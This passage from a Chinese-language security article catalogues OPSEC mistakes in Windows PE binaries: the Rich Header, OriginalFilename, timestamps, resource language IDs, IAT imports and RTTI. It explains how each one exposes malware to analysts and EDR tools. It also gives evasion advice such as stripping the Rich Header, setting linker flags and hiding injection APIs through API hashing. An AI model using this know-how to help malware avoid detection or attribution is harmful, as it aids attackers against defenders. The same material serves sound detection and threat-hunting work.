src="https://wechat2rss.xlab.app/img-proxy/?k=0b936053&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nShgMtUxkq7ic6icwIWLNaBOLHbfvxpjRGALfstfuMUA8IiamWfzYFNskspxuXiaIqYsoTmwcb8Zk5zSsOafD9t6pXtCicTH1ibLHV0eU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption><span leaf="">图片: PE-OopsSec MT flag</span></figcaption></figure><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">4. PE Rich Header</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">Rich Header</span></strong><span leaf="">是微软链接器（link.exe）在 DOS Stub 和 NT Headers 之间插入的一个未文档化的数据块。它包含构建程序所使用的编译器工具链的精确产品 ID、构建号和执行计数。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">当开发者剥离或自定义其他 PE 头以模拟特定编译器，却忘记了 Rich Header 时，就留下了一个明显的矛盾。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">恶意软件分析师大量使用 rich_signature 哈希（通常通过 YARA 或 Python 工具生成）来分组和追踪恶意软件家族：复用完全相同的构建机器和环境来编译面向完全不同操作目标或客户的载荷。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">一些开发者尝试通过手动覆盖假的 Rich Header 来模拟其他行为者或合法软件：将从合法系统文件中复制的静态 Rich Header 粘贴到新创建的恶意软件二进制文件中，却不更正&#34;count&#34;条目或使其与载荷的实际构成匹配。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">主要缓解方法：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">完全剥离</span></strong><p><span leaf="">：用空字节（0x00）覆写 DOS stub 和 NT headers 之间的整个块。</span></p></li><li style="margin: 15px 0px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">替代工具链</span></strong><p><span leaf="">：使用不生成 Rich Header 的链接器编译，例如通过 MinGW 的 GCC 或 LLVM Clang 工具链。</span></p></li><li style="margin: 15px 0px 0px;"><strong style="margin-top: 0px;"><span leaf="">链接器标志</span></strong><p><span leaf="">：在链接阶段传递未文档化标志 </span><strong style="margin-bottom: 0px;"><span leaf="">/EMITTOOLVERSIONINFO:NO</span></strong><span leaf="">（或根据确切 MSVC 构建变体使用等效标志），以阻止其生成。</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">Visual Studio</span></strong><span leaf="">：属性 =&gt; 链接器 =&gt; 命令行 =&gt; 附加选项</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">以下为运行 </span><strong><span leaf="">PE-OopsSec</span></strong><span leaf="">套件中 </span><strong><span leaf="">PECheck</span></strong><span leaf="">工具的结果。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013029" data-ratio="0.8295739348370927" data-s="300,640" data-type="png" data-w="399" type="block" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=ca6b2a64&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSiasVwYkG8DJoJDicJ5rwS65vuK94qbB0HH1ibzsvFjIPVTYluZD7r128wmXKBChiccoiaAqrg96VMrH2f9jEnSf1bah3Lbw0qlNn5k%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption><span leaf="">图片: PE-OopsSec Rich Header</span></figcaption></figure><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img alt="图片: PE-OopsSec Rich Header Stripped" class="rich_pages wxw-img" data-imgfileid="100013021" data-type="png" style="max-width: 100%;height: auto !important;" data-ratio="0.6482758620689655" data-w="580" src="https://wechat2rss.xlab.app/img-proxy/?k=4096b8c3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSgM25MY4MBEcSm5u8u4IQUI12LIjQfG6FiaSXaf5mB86BUw0obKtbILQkegwOlKt2WWZWbrEVDCnjxkVlxPUly5gYJJAqicN8FoE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption><span leaf="">图片: PE-OopsSec Rich Header Stripped</span></figcaption></figure><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">5. PE OriginalFilename</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">OriginalFilename</span></strong><span leaf="">OPSEC 错误是指：你为了规避检测而重命名了磁盘上的 PE 二进制文件，却忘记修改内嵌的 </span><strong><span leaf="">VERSIONINFO</span></strong><span leaf="">资源头。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">由于 </span><strong><span leaf="">OriginalFilename</span></strong><span leaf="">字段在 PE 文件的元数据中保持硬编码不变，这就立即产生了一个差异——蓝队、端点检测与响应（EDR）代理和杀毒启发式扫描会将其标记为高度可疑。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013030" data-s="300,640" data-type="png" type="block" style="height: auto !important;" data-ratio="0.6025" data-w="400" src="https://wechat2rss.xlab.app/img-proxy/?k=c0fe736e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSg7PXRtGzkVRVaIbfwQvbNxZBDic8BEFue5mNBOcFial8tyMJq8lKBfdPtmTRMy4OclZSgqBzaR0MH4f6gHHdR4Lp9vs1o4ZGrSI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption><span leaf="">图片: PE-OopsSec OriginalFilename</span></figcaption></figure><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">6. PE TimeStamp</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">PE 文件的 </span><strong><span leaf="">TimeStamp</span></strong><span leaf="">（时间戳）是操作安全（OPSEC）失误的臭名昭著之地。安全分析师、威胁猎人和自动化沙箱会仔细审查编译时间戳，以绘制威胁行为者的活动图谱并识别异常。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">围绕 PE 时间戳最严重的 OPSEC 失误涉及</span><strong><span leaf="">不完整的时间戳篡改</span></strong><span leaf="">（timestomping）、时间上不可能的重叠以及数据关联失败。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">最常见的错误是假设 PE 文件只包含一个时间戳。虽然开发者通常会清除或修改主 COFF 文件头（IMAGE_FILE_HEADER.TimeDateStamp），但 PE 格式在多达六个不同位置嵌入了时间戳。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">当操作者尝试手动伪造时间戳以混入旧版软件时，往往未研究自身工具链的历史。例如：为一个使用 Visual Studio 2022 特性编译的二进制文件设置 2010 年的时间戳，或使用 2010 年尚不存在的 Visual C++ 运行时特性，这创造了一个不可能的组合。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">当部署一组不同的工具（例如投放器、加载器和 C2 代理）时，操作者可能使用脚本将所有载荷统一标记为相同的伪造日期（例如 0x30000000 / 1995 年 12 月 24 日）。威胁猎人会在 VirusTotal 等全球数据库中搜索精确的时间戳重叠。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">现代编译器（如微软的 </span><strong><span leaf="">/experimental:deterministic</span></strong><span leaf="">标志）完全移除了 epoch 时间，转而将二进制数据的哈希值放入 </span><strong><span leaf="">TimeDateStamp</span></strong><span leaf="">字段。这使构建完全可复现，并阻止追踪实际开发时间。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">Visual Studio</span></strong><span leaf="">：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">配置属性 =&gt; C/C++ =&gt; 命令行 =&gt; 附加选项 =&gt; /experimental:deterministic</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">配置属性 =&gt; 链接器 =&gt; 命令行 =&gt; 附加选项 =&gt; /BREPRO</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013031" data-s="300,640" data-type="png" type="block" style="height: auto !important;" data-ratio="0.425" data-w="400" src="https://wechat2rss.xlab.app/img-proxy/?k=a506a199&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nShfibDv73sYWnZv4cHq4ROKdgib9XBtaxetL3CcHUQOUicT12sKClj2M2kYdN4cYUgYHn1NR9uhEia65jMD7aWk6bXkWbO2SBW81TI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption><span leaf="">图片: PE-OopsSec TimeStamp</span></figcaption></figure><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">7. 资源节区（.RSRC）语言 ID</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">IMAGE_RESOURCE_DIRECTORY</span></strong><span leaf="">包含菜单、图标和版本字符串的语言和子语言标识符（</span><strong><span leaf="">LCID</span></strong><span leaf="">）。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">即使恶意软件代码是通用的，资源节区也可能默认使用开发者的母语系统语言（例如俄语、中文、波斯语），从而暴露地理来源。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013032" data-s="300,640" data-type="png" type="block" style="height: auto !important;" data-ratio="0.435" data-w="400" src="https://wechat2rss.xlab.app/img-proxy/?k=ef7044d7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nShjzSt9MEnaf4LuibK3JEeBCibibemic9yLFckgbo86yoxcxsE6nD559EcOMTepb6Agwk5woulYKmdCsBnKC09Cy39q0H5nwEaRe8U%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption><span leaf="">图片: PE-OopsSec Language IDs</span></figcaption></figure><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">8. 导入地址表（IAT）：留下&#34;恶意&#34;签名</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">如果自定义载荷使用标准链接编译（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf=""><a class="wx_topic_link" topic-id="mrz3l8k9-dx67sa" style="color: #576B95 !important;" data-topic="1" data-recommend="">#include</a> &lt;windows.h&gt;</span></code><span leaf="">后跟标准函数调用），二进制文件会向操作系统明确声明其意图。安全工具利用这一点来评估文件的能力。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">例如，包含以下导入块的可执行文件将在任何端点上立即获得高风险恶意判定：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">kernel32.dll：VirtualAlloc、VirtualProtect、WriteProcessMemory、CreateRemoteThread。</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">ntdll.dll：NtMapViewOfSection、NtUnmapViewOfSection。</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">即使载荷的 shellcode 已完全加密，磁盘上的结构元数据也会告诉 EDR 该文件被设计来执行哪些技术（如进程注入或 API Hooking）。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">你可以通过在运行时动态解析 API 来完全剥离编译后 IAT 中的危险 API：</span><strong><span leaf="">动态 API 解析、API 哈希、自定义 PEB 遍历</span></strong><span leaf="">……</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;"><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013033" data-s="300,640" data-type="png" type="block" style="height: auto !important;" data-ratio="0.64" data-w="400" src="https://wechat2rss.xlab.app/img-proxy/?k=0d475d79&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSiaicTpcSC0JESFia78fbtPAEg7pbdxqjpBq4ujJNrjQribE8dzHj49wBCKc1myqZ2xdzDaBVGtonF2fdicMpicPDwpxQzTlSs1g4PaA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption><span leaf="">图片: PE-OopsSec IAT checking</span></figcaption></figure><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">9. RTTI（运行时类型信息）</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">PE 文件中 </span><strong><span leaf="">RTTI</span></strong><span leaf="">（</span><strong><span leaf="">Runtime Type Information</span></strong><span leaf="">，运行时类型信息）的终极 OPSEC 错误是：在生产构建中保留编译器生成的 RTTI 结构不变，这会将原始 C++ 类层次结构、精确的类名和继承关系直接泄露给逆向工程师。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">当开发者编译启用了 </span><strong><span leaf="">RTTI</span></strong><span leaf="">的 C++ 项目时（例如在 MSVC 中使用 /GR），编译器会在 </span><strong><span leaf="">.rdata</span></strong><span leaf="">节区中嵌入描述性元数据。IDA Pro、Ghidra 等工具利用此元数据自动重建整个应用程序架构，完全中和任何代码混淆或剥离努力。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, 